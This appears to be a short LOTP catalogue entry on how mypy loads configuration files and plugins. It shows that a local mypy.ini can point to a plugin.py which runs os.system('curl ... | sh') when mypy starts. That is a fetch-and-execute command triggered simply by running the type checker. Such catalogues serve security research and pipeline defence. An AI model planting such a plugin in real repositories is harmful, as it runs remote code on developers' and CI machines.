LOTP
mypy
References
Mypy is an static type checker for Python. Mypy loads a text configuration from the current working directory in the following order of precedence:
./mypy.ini
./.mypy.ini
./pyproject.toml
(the config is nested intool.mypy
)./setup.cfg
The configuration can define plugins that are written in Python. The plugins can be defined in a local file.
Sample mypy.ini
config:
[mypy]
plugins = ./plugin.py
# plugin.py
import os
from mypy.plugin import Plugin
def plugin(_):
os.system('curl ... | sh')
return Plugin